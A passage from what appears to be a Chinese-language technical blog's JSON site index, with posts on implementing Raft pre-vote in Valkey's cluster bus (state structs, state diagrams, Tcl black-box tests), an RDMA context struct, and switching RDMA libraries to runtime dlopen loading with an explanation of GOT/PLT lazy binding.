uint64_t log_alloc; /* Pending proposals waiting for commit. */ list * pending_proposals; /* list of raftPendingProposal */ /* Pending MEET callbacks waiting for NODE_JOIN commit. */ list * pending_meets; /* CLUSTER MEET commands waiting for OK reply */ list * deferred_meets; /* Inbound MEET messages deferred until size \u0026gt; 1 */ /* NODE_INFO divergence detection. */ sds my_last_committed_info; mstime_t last_node_info_check; /* Election */ int votes_received; mstime_t election_timeout; /* Randomized timeout */ mstime_t last_heartbeat; /* Last time we heard from leader */ mstime_t last_repl_offsets_broadcast; /* Last REPL_OFFSETS broadcast */ mstime_t joiner_since; /* When we became a joiner (for timeout) */ /* Leader identity */ char leader[CLUSTER_NAMELEN]; /* All zeros = unknown */ /* Manual failover state (on the replica side) */ mstime_t mf_end; /* Timeout for manual failover, 0 = not in progress */ void * mf_ctx; /* blockedAsyncHandle for the CLUSTER FAILOVER client */ void( * mf_callback)(void * ctx, const char * error); /* Automatic failover state (on the replica side) */ mstime_t failover_time; /* When to propose FAILOVER based on rank, 0 = inactive */ /* Message stats for CLUSTER INFO */ long long stats_module_messages_sent; long long stats_module_messages_received; long long stats_publish_messages_sent; long long stats_publish_messages_received; uint64_t stats_bytes_sent; uint64_t stats_bytes_received; uint64_t stats_pubsub_bytes_sent; uint64_t stats_pubsub_bytes_received; uint64_t stats_module_bytes_sent; uint64_t stats_module_bytes_received; } clusterRaftState; 差不多也能看懂一些经典的成员了。\n接下来就是每个Raft Node 所持有的状态:\ntypedef struct { uint64_t next_index; uint64_t match_index; // 记录日志的复制进度 论文5.3 mstime_t last_ack_time; /* Last time we received AE_ACK from this peer 用于NODE_FAIL的检测，超过固定时间认为就会下线 */ unsigned int pending_fail_change: 1; /* NODE_FAIL or NODE_RECOVER in flight */ } clusterNodeRaftData; 在这里，那么一个valkey的进程就是一个server.\n补充一下，AE就是AppendEntries的简称，不是事件。\nAppendEntries / RequestVote # 上面这两个经典的RPC呢？\n没有独立 .proto 或函数指针表；消息类型是字符串常量， 在 clusterRaftProcessMessage 里 strcasecmp 分发（2026–2047 行）：\n论文 RPC 线协议名 发送 处理 AppendEntries AE / AE_ACK clusterRaftSendAppendEntries / clusterRaftSendAppendEntriesResponse clusterRaftProcessAppendEntries / ...Response RequestVote VOTE_REQ / VOTE clusterRaftSendRequestVote / clusterRaftSendVoteResponse clusterRaftProcessRequestVote / ...Response 可以看看AE的消息格式：\n* Header line: AE \u0026lt;leader-id\u0026gt; \u0026lt;term\u0026gt; \u0026lt;prev-log-idx\u0026gt; \u0026lt;prev-log-term\u0026gt; \u0026lt;commit\u0026gt; \u0026lt;count\u0026gt; * Entry lines: \u0026lt;term\u0026gt; \u0026lt;type\u0026gt; \u0026lt;data\u0026gt; 相当于字符串传递，然后进行消息解析。 if count == 0 那本条消息就应该是一个心跳。\n话不多说，接下来我们尝试开始实现预投票的机制。 你可以在issue界面看到我们的实现原理，此处便不赘述。\n一些细节的工程考虑 # 当candidate选举超时的时候 # 在拿下了pre-vote的选举成功之后，此时这个机器发生了partitioned，如若一直保持着candidate的状态，此时还是会发生term inflation,当此机器回归的时候，还是会带着很高的term,同时身份还是candidate,出现term inflation,所以每次选举超时都需要重新发起pre-vote是合理的举措. 这意味着每次正式选举超时都需要重新发起一次预选举.\n理解pre-vote机制的核心 # pre vote的核心是引入中间状态pre-candidate,在这个状态下，current term根本就不会无限膨胀，就是不会被持久化.\nstateDiagram-v2 [*] --\u0026gt; Follower Follower --\u0026gt; PreCandidate: election timeout PreCandidate --\u0026gt; Candidate: majority PRE_VOTE grants PreCandidate --\u0026gt; Follower: pre-vote timeout (no quorum) Candidate --\u0026gt; Leader: majority VOTE grants Candidate --\u0026gt; Follower: election lost / higher term seen Leader --\u0026gt; Follower: step down (higher term) Follower --\u0026gt; Candidate: TIMEOUT_NOW (leader transfer) note right of PreCandidate term NOT incremented end note note right of Candidate term incremented end note 上面就是我们在PR页面做的mermaid表。 Pre-vote 的本质就是多一个 PRE_CANDIDATE 中间态，把「试探能不能选」和「真正抬 term 开正式选举」拆开：\n阶段 current_term 是否持久化新 term PRE_CANDIDATE（pre-vote） 不变 否（只是线上发 current_term+1 去试探） StartElection() 之后 ++ 是（todo_save_config 会落盘） 所以在 partition 里反复超时、反复 pre-vote 失败时，节点会在 PRE_CANDIDATE ↔ FOLLOWER 之间转， term 不会因为“选不上”而一层层叠高——这正是 §9.6 要防的 disruption。\n测试脚本 # 这里测试的学问很大，值得认真研究，测试的系统思想是我们所欠缺的，同时也是AI编程时代很重要的一点。\ncd /home/ada/Project/valkey # 确保二进制最新 make -C src valkey-server -j$(nproc) # 单测（用不同 baseport 避免 21111 段冲突） ./runtest --single tests/unit/cluster/cluster-raft-prevote.tcl --baseport 21200 ./runtest --single tests/unit/cluster/cluster-raft-proto.tcl --baseport 21300 1.复用性 2.有效性 3.覆盖率问题 如果你想保证自己的代码有效，首先需要了解如何进行测试。\n此类测试的整体架构:\nflowchart TB subgraph CI[\u0026#34;CI 两条流水线\u0026#34;] A[\u0026#34;test-cluster-raft job\u0026lt;br/\u0026gt;./runtest --cluster-raft --single tests/unit/cluster\u0026#34;] B[\u0026#34;codecov job\u0026lt;br/\u0026gt;make lcov → 全量 runtest + gtest\u0026#34;] end subgraph BlackBox[\u0026#34;黑盒测试层 (Tcl)\u0026#34;] P[\u0026#34;cluster-raft-proto.tcl\u0026lt;br/\u0026gt;伪造 peer + TCP cluster bus\u0026#34;] E[\u0026#34;cluster-raft-prevote.tcl\u0026lt;br/\u0026gt;3 真实节点 + SIGSTOP\u0026#34;] R[\u0026#34;cluster-raft.tcl\u0026lt;br/\u0026gt;quorum freshness\u0026#34;] end subgraph Server[\u0026#34;valkey-server 进程\u0026#34;] EP[\u0026#34;epoll 读 cluster bus fd\u0026#34;] PARSE[\u0026#34;RAFT 帧解析 → argv[]\u0026#34;] DISPATCH[\u0026#34;clusterRaftProcessMsg()\u0026#34;] RAFT[\u0026#34;cluster_raft.c pre-vote 状态机\u0026#34;] end A --\u0026gt; P \u0026amp; E \u0026amp; R B --\u0026gt; P \u0026amp; E \u0026amp; R P --\u0026gt;|\u0026#34;socket :port+10000\u0026#34;| EP E --\u0026gt;|\u0026#34;Redis 协议 CLUSTER INFO / pause_process\u0026#34;| RAFT EP --\u0026gt; PARSE --\u0026gt; DISPATCH --\u0026gt; RAFT 协议黑盒：Leader lease 活跃时拒绝 PRE_VOTE # sequenceDiagram participant Tcl as Tcl fake peer participant Bus as cluster bus :port+10000 participant S as valkey-server (singleton leader) Tcl-\u0026gt;\u0026gt;Bus: HELLO Bus-\u0026gt;\u0026gt;Tcl: HI Note over S: leader=自己, last_heartbeat 新鲜\u0026lt;br/\u0026gt;lease 有效 Tcl-\u0026gt;\u0026gt;Bus: PRE_VOTE_REQ term+1 log 0/0 Bus-\u0026gt;\u0026gt;S: clusterRaftProcessPreVoteRequest() S-\u0026gt;\u0026gt;S: clusterRaftCanGrantVote() → 0 (lease) Bus-\u0026gt;\u0026gt;Tcl: PRE_VOTE current_term 0 Note over S: current_term 不变 协议黑盒：无 lease 时 grant PRE_VOTE # sequenceDiagram participant Tcl1 as fake candidate1 participant Tcl2 as fake candidate2 participant S as valkey-server Tcl1-\u0026gt;\u0026gt;S: VOTE_REQ term+1 Note over S: step down → follower, leader=\u0026#34;\u0026#34; Tcl2-\u0026gt;\u0026gt;S: PRE_VOTE_REQ term+2 log 0/0 S-\u0026gt;\u0026gt;S: CanGrantVote() → 1 (无 leader + log OK) S-\u0026gt;\u0026gt;Tcl2: PRE_VOTE term+2 1 Note over S: current_term 仍为 vote_term，未 inflate 协议黑盒：候选者 log 过旧时拒绝 # flowchart TD A[\u0026#34;AE 写入 NODE_JOIN\u0026lt;br/\u0026gt;receiver last_log ≥ 1\u0026#34;] --\u0026gt; B[\u0026#34;VOTE_REQ step-down\u0026lt;br/\u0026gt;清 leader lease\u0026#34;] B --\u0026gt; C[\u0026#34;PRE_VOTE_REQ log 0/0\u0026lt;br/\u0026gt;(stale)\u0026#34;] C --\u0026gt; D[\u0026#34;CanGrantVote: candidate_last_term \u0026lt; my_last_term\u0026#34;] D --\u0026gt; E[\u0026#34;PRE_VOTE deny, term 不变\u0026#34;] 协议黑盒：pre-vote 超时、无 quorum 不 inflate term（最关键） # sequenceDiagram participant FakeL as Tcl fake leader (inbound) participant S as valkey-server (follower) participant FakeP as Tcl listen (outbound link) FakeL-\u0026gt;\u0026gt;S: AE term=2, NODE_JOIN x2 Note over S: role=follower, term=2, cluster_size=2 S-\u0026gt;\u0026gt;FakeP: HELLO (outbound node-\u0026gt;link) FakeP-\u0026gt;\u0026gt;S: HI Note over FakeL: 停止 AE → last_heartbeat 过期 S-\u0026gt;\u0026gt;S: clusterRaftCron → clusterRaftStartPreVote() S-\u0026gt;\u0026gt;FakeP: PRE_VOTE_REQ term=3 Note over S: term 仍为 2 ✓ Note over FakeP: 故意不回复 (无 quorum) S-\u0026gt;\u0026gt;FakeP: PRE_VOTE_REQ term=3 (第二轮) FakeP-\u0026gt;\u0026gt;S: PRE_VOTE 3 1 (grant) S-\u0026gt;\u0026gt;S: pre_votes_received++ → quorum → StartElection() S-\u0026gt;\u0026gt;FakeP: VOTE_REQ term=3 Note over S: term=3 ✓ 端到端黑盒：Leader 故障 → pre-vote → 选举 # 这就是一个正常选举的逻辑。\nsequenceDiagram participant N0 as Node0 (leader) participant N1 as Node1 participant N2 as Node2 Note over N0,N2: start_cluster 3, term=T N0-\u0026gt;\u0026gt;N0: pause_process (SIGSTOP) Note over N0: 进程冻结，不处理 AE\u0026lt;br/\u0026gt;last_heartbeat 在 N1/N2 过期 N1-\u0026gt;\u0026gt;N2: PRE_VOTE_REQ (经真实 cluster bus) N2-\u0026gt;\u0026gt;N1: PRE_VOTE grant N1-\u0026gt;\u0026gt;N1: StartElection, term=T+1 N1-\u0026gt;\u0026gt;N2: VOTE_REQ ... Note over N1: 日志含 \u0026#34;Starting Raft pre-vote\u0026#34; 其实还是测试一下关键的路径即可。\n","date":"2026-07-12","externalUrl":null,"permalink":"/zh-cn/valkey/feature-raft-cluster-pre-vote-protocol/","section":"Valkey","summary":"\u003cblockquote\u003e\n\u003cp\u003e本文章写于cluster bus 可插拔raft协议改造的早期，此时还未成形，\n只是笔者学习的一个记录而已,因为笔者在尝试在 redis 的 cluster V2中实现Raft的预选举协议。\n已经merge,我们还可以进行一些复盘。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/valkey-io/valkey/issues/3860\" target=\"_blank\"\u003e原issue界面\u003c/a\u003e\n这是valkey尝试实现可插拔的Raft协议中的\u003ca href=\"https://github.com/valkey-io/valkey/issues/3860\" target=\"_blank\"\u003e预选举问题\u003c/a\u003e，这也算是一个有趣的工程实现。\n这里我们还是需要首先研究：\u003ca href=\"https://web.stanford.edu/~ouster/cgi-bin/papers/OngaroPhD.pdf\" target=\"_blank\"\u003eDiego Ongaro博士毕业论文原文\u003c/a\u003e 中的9.6节摘录：\n\u003cem\u003ePreventing disruptions when a server rejoins the cluster One downside of Raft’s leader election algorithm is that a server that has been partitioned from the cluster is likely to cause a disruption when it regains connectivity. When a server is partitioned, it will not receive heartbeats. It will soon increment its term to start an election, although it won’t be able to collect enough votes to become leader. When the server regains connectivity sometime later, its larger term number will propagate to the rest of the cluster (either through the server’s RequestVote requests or through its AppendEntries response). This will force the cluster leader to step down, and a new election will have to take place to select a new leader. Fortunately, such events are likely to be rare, and each will only cause one leader to step down. If desired, Raft’s basic leader election algorithm can be extended with an additional phase to prevent such disruptions, forming the Pre-Vote algorithm. In the Pre-Vote algorithm, a candidate only increments its term if it first learns from a majority of the cluster that they would be willing to grant the candidate their votes (if the candidate’s log is sufficiently up-to-date, and the voters have not received heartbeats from a valid leader for at least a baseline election timeout). This was inspired by ZooKeeper’s algorithm, in which a server must receive a majority of votes before it calculates a new epoch and sends NewEpoch messages (however, in ZooKeeper servers do not solicit votes, other servers offer them). The Pre-Vote algorithm solves the issue of a partitioned server disrupting the cluster when it rejoins. While a server is partitioned, it won’t be able to increment its term, since it can’t receive permission from a majority of the cluster. Then, when it rejoins the cluster, it still won’t be able to increment its term, since the other servers will have been receiving regular heartbeats from the leader. Once the server receives a heartbeat from the leader itself, it will return to the follower state (in the same term). We recommend the Pre-Vote extension in deployments that would benefit from additional robustness. We also tested it in various leader election scenarios in AvailSim, and it does not appear to significantly harm election performance.\u003c/em\u003e\n以下是\u003cstrong\u003e翻译\u003c/strong\u003e：\u003c/p\u003e","title":"Raft Cluster Pre-Vote Protocol","type":"valkey"},{"content":"看看一个RDMA的上下文：\ntypedef struct RdmaContext { connection * conn; // 上层连接结构体 char * ip; int port; long long keepalive_te; /* RDMA has no transport layer keepalive */ struct ibv_pd * pd; // 保护域 struct rdma_event_channel * cm_channel; struct ibv_comp_channel * comp_channel; // CQ的通知事件，用来触发POLLIN事件 struct ibv_cq * cq; /* TX */ RdmaXfer tx; char * tx_addr; /* remote transfer buffer address */ uint32_t tx_key; /* remote transfer buffer key */ uint32_t tx_length; /* remote transfer buffer length */ uint32_t tx_offset; /* remote transfer buffer offset */ uint32_t tx_ops; /* operations on remote transfer */ /* RX */ RdmaXfer rx; /* CMD 0 ~ VALKEY_RDMA_MAX_WQE for recv buffer * VALKEY_RDMA_MAX_WQE ~ 2 * VALKEY_RDMA_MAX_WQE -1 for send buffer */ ValkeyRdmaCmd * cmd_buf; struct ibv_mr * cmd_mr; } RdmaContext; ","date":"2026-07-09","externalUrl":null,"permalink":"/zh-cn/valkey/rdma-how-event-notifications-work/","section":"Valkey","summary":"\u003cp\u003e看看一个RDMA的上下文：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eRdmaContext\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003econnection\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003econn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上层连接结构体\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eip\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003elong\u003c/span\u003e \u003cspan class=\"kt\"\u003elong\u003c/span\u003e \u003cspan class=\"n\"\u003ekeepalive_te\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* RDMA has no transport layer keepalive */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eibv_pd\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 保护域\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e    \u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003erdma_event_channel\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ecm_channel\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eibv_comp_channel\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ecomp_channel\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// CQ的通知事件，用来触发POLLIN事件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e    \u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eibv_cq\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ecq\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"cm\"\u003e/* TX */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eRdmaXfer\u003c/span\u003e \u003cspan class=\"n\"\u003etx\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003etx_addr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* remote transfer buffer address */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e \u003cspan class=\"n\"\u003etx_key\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* remote transfer buffer key */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e \u003cspan class=\"n\"\u003etx_length\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* remote transfer buffer length */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e \u003cspan class=\"n\"\u003etx_offset\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* remote transfer buffer offset */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e \u003cspan class=\"n\"\u003etx_ops\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* operations on remote transfer */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"cm\"\u003e/* RX */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eRdmaXfer\u003c/span\u003e \u003cspan class=\"n\"\u003erx\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"cm\"\u003e/* CMD 0 ~ VALKEY_RDMA_MAX_WQE for recv buffer\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e     * VALKEY_RDMA_MAX_WQE ~ 2 * VALKEY_RDMA_MAX_WQE -1 for send buffer */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eValkeyRdmaCmd\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ecmd_buf\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003eibv_mr\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ecmd_mr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eRdmaContext\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"事件通知是怎么产生的？","type":"valkey"},{"content":"两个PR： valkey主库修改 libvalkey上游 我们主要讲述这个在client和benchmark上做RDMA的两个库的动态加载这两个问题,两个库librdmacm libibverbs\n之后最好再阅读一下CSAPP关于动态链接的部分，之后还预计出一篇文章好好讲解一下程序的链接，也是一门大学问。 这个真的值得深挖。\n背景 # 最早是字节跳动在进行valkey Over RDMA的开发, 但是只做了对于server的解耦, 但是没有对于client和benchmark的解耦, 这就导致了Opensuse,linux的发行版引来了这样的问题:\nDescription - enable RDMA support Comments \u0026amp; History Marcus Rueckert (darix) created this request 2 months ago Neal Gompa\u0026#39;s avatar Neal Gompa (Pharaoh_Atem) commented 2 months ago target maintainer I\u0026#39;m checking on this, please be patient. :) Marcus Rueckert (darix) revoked request 2 months ago for some reasons it didnt just link the rdma libraries into the module but also into the main binary Marcus Rueckert\u0026#39;s avatar Marcus Rueckert (darix) commented about 2 months ago author source maintainer question: in the fedora package you have split out the rdma module. in the newer versions they also link valkey-cli and valkey-benchmark with the rdma tools (probably to also test and connect via rdma) with that in mind I am not sure if we either need to split out the binaries or build valkey like this: valkey: owns everything but the binaries Requires: valkey-implementation = %{version} Suggests: valkey-no-rdma %package no-rdma Provides: valkey-implementation = %{version} Conflicts: valkey-implementation Removepathpostfixes: -no-rdma %package rdma Provides: valkey-implementation = %{version} Conflicts: valkey-implementation Removepathpostfixes: -rdma and given that the cli and benchmark link the rdma code anyway we can also switch to rdma=yes Neal Gompa\u0026#39;s avatar Neal Gompa (Pharaoh_Atem) commented about 2 months ago target maintainer I\u0026#39;ll check on this with upstream, but I think we probably want to still do it the normal module way without doing duplicate builds. This might be something to fix upstream. Marcus Rueckert\u0026#39;s avatar Marcus Rueckert (darix) commented about 2 months ago author source maintainer i can understand that they also want the client and bencharmk to be able to talk rdma. and the module way i only would understand to avoid the dependency (7.7MB extra libraries for rdma enabled build) but if we cant get around that dependency anymore. we can also merge rdma support into the main package. Neal Gompa\u0026#39;s avatar Neal Gompa (Pharaoh_Atem) commented about 2 months ago target maintainer I\u0026#39;m pretty sure this is a bug, and I\u0026#39;m checking with upstream about this. Marcus Rueckert\u0026#39;s avatar Marcus Rueckert (darix) commented about 2 months ago author source maintainer also did you see my asahi mail? Neal Gompa\u0026#39;s avatar Neal Gompa (Pharaoh_Atem) commented about 2 months ago target maintainer No, I\u0026#39;ll go look for it. Probably was buried over winter stuff. Opensuse的打包者必须加上这两个库才行,这肯定是不合理的,这使得打包后的文件变得臃肿, 实际上很多人根本用不到这个功能,一张优秀的RDMA网卡异常昂贵,linux打包者在社区提出issue, 希望进行动态加载,这里其实上需要改动的是一个valkey的上游子仓库libvalkey,我们做了这样的修改,把加载改为动态,并且进行解耦.\n静态/硬链接是怎样？ # 1. 静态/硬链接（USE_DLOPEN_RDMA=0） # Makefile编译的时候:\n# Makefile 里 RDMA_LDFLAGS=-lrdmacm -libverbs 自动带上了这两个库,链接器会在 valkey_rdma.so 的 ELF .dynamic 段写入：\nNEEDED librdmacm.so.1 NEEDED libibverbs.so.1 # 我需要这两个库,这是动态加载 进程启动时，ld-linux-x86-64.so.2（动态链接器）在 main 之前 就会：\nmmap() 把这两个 .so 映射进进程虚拟地址空间(我们当前进程的虚拟地址空间) 解析 .rela.dyn / .rela.plt 重定位项 填充 GOT/PLT，把 rdma_create_id 等符号解析成真实函数地址 什么是GOT(Global Offset Table 全局偏移表)和PLT(Process Linking Table 过程链接表)表项, 为了加快程序启动速度并节省内存，Linux 采用了延迟绑定（Lazy Binding）技术， 即程序启动时不去解析外部函数的真正地址，直到第一次调用该函数时才进行解析.\n其流程如下：\n首次调用：当程序第一次调用某个外部函数（如 rdma_conn）时，执行流程会跳转到对应的 PLT 表项。 触发解析：该 PLT 代码会引导程序去寻找并执行动态链接器（librdmam.so）的代码。 确定地址：动态链接器在共享库中找到该函数的实际内存地址。 更新 GOT 表：动态链接器将找到的实际地址写入 GOT 表中对应的位置。 正常执行：函数执行完毕。 后续调用：当再次调用该函数时，流程会再次到达 PLT，但此时 PLT 会直接读取 GOT 表中已填好的真实地址，一步到位完成跳转，不再需要动态链接器介入。 这种机制常用于代码的安全保护机制与逆向工程中（如 PLT/GOT Hook），通过修改 GOT 表中的目标地址，可以实现对系统函数调用的拦截或替换。\n也就是说，一次就需要把GOT和PLT表填完:\n高地址 ┌─────────────────────────┐ │ valkey_rdma.so .text │ 你的 RDMA 代码 ├─────────────────────────┤ │ librdmacm.so.1 .text │ rdma_create_id 等 ├─────────────────────────┤ │ libibverbs.so.1 .text │ ibv_reg_mr 等 ├─────────────────────────┤ │ libc.so ... 低地址 缺点：没有 RDMA 硬件/库的机器上，ld.so 在启动阶段就会失败（error while loading shared libraries），即使你从未调用 RDMA。\n我们是如何实现运行时动态加载的？ # 编译时 不 链接 -lrdmacm -libverbs：\nifeq ($(USE_DLOPEN_RDMA),1) CFLAGS += -DDLOPEN_RDMA RDMA_LDFLAGS= else RDMA_LDFLAGS=-lrdmacm -libverbs endif valkey_rdma.so 的 .dynamic 里 没有 RDMA 库的 NEEDED 条目。 进程可以正常启动；只有调用 valkeyInitiateRdma() 时才尝试加载 RDMA 库。\ndlopen 在底层做了什么? # 你可以理解这个就是用来找到so目标文件，然后返回一个句柄，和open类似。\n我们的加载逻辑是怎么写的？主要是这个函数太抽象了(ง •̀_•́)ง\nstatic int rdma_dyn_load_libs(void) { if (rdmacm_handle \u0026amp;\u0026amp; ibverbs_handle) return 0; const char *rdmacm_candidates[] = {\u0026#34;librdmacm.so.1\u0026#34;, \u0026#34;librdmacm.so\u0026#34;, NULL}; const char *verbs_candidates[] = {\u0026#34;libibverbs.so.1\u0026#34;, \u0026#34;libibverbs.so\u0026#34;, NULL}; for (int i = 0; !rdmacm_handle \u0026amp;\u0026amp; rdmacm_candidates[i]; i++) rdmacm_handle = dlopen(rdmacm_candidates[i], RTLD_NOW); for (int i = 0; !ibverbs_handle \u0026amp;\u0026amp; verbs_candidates[i]; i++) ibverbs_handle = dlopen(verbs_candidates[i], RTLD_NOW); if (!rdmacm_handle || !ibverbs_handle) { fprintf(stderr, \u0026#34;Error: Required RDMA libraries (librdmacm/libibverbs) not found on this system.\\n\u0026#34;); return -1; } LOAD_SYM(rdmacm_handle, rdma_create_event_channel); LOAD_SYM(rdmacm_handle, rdma_destroy_event_channel); LOAD_SYM(rdmacm_handle, rdma_create_id); LOAD_SYM(rdmacm_handle, rdma_create_qp); LOAD_SYM(rdmacm_handle, rdma_destroy_id); LOAD_SYM(rdmacm_handle, rdma_bind_addr); LOAD_SYM(rdmacm_handle, rdma_resolve_addr); LOAD_SYM(rdmacm_handle, rdma_resolve_route); LOAD_SYM(rdmacm_handle, rdma_connect); LOAD_SYM(rdmacm_handle, rdma_disconnect); LOAD_SYM(rdmacm_handle, rdma_get_cm_event); LOAD_SYM(rdmacm_handle, rdma_ack_cm_event); 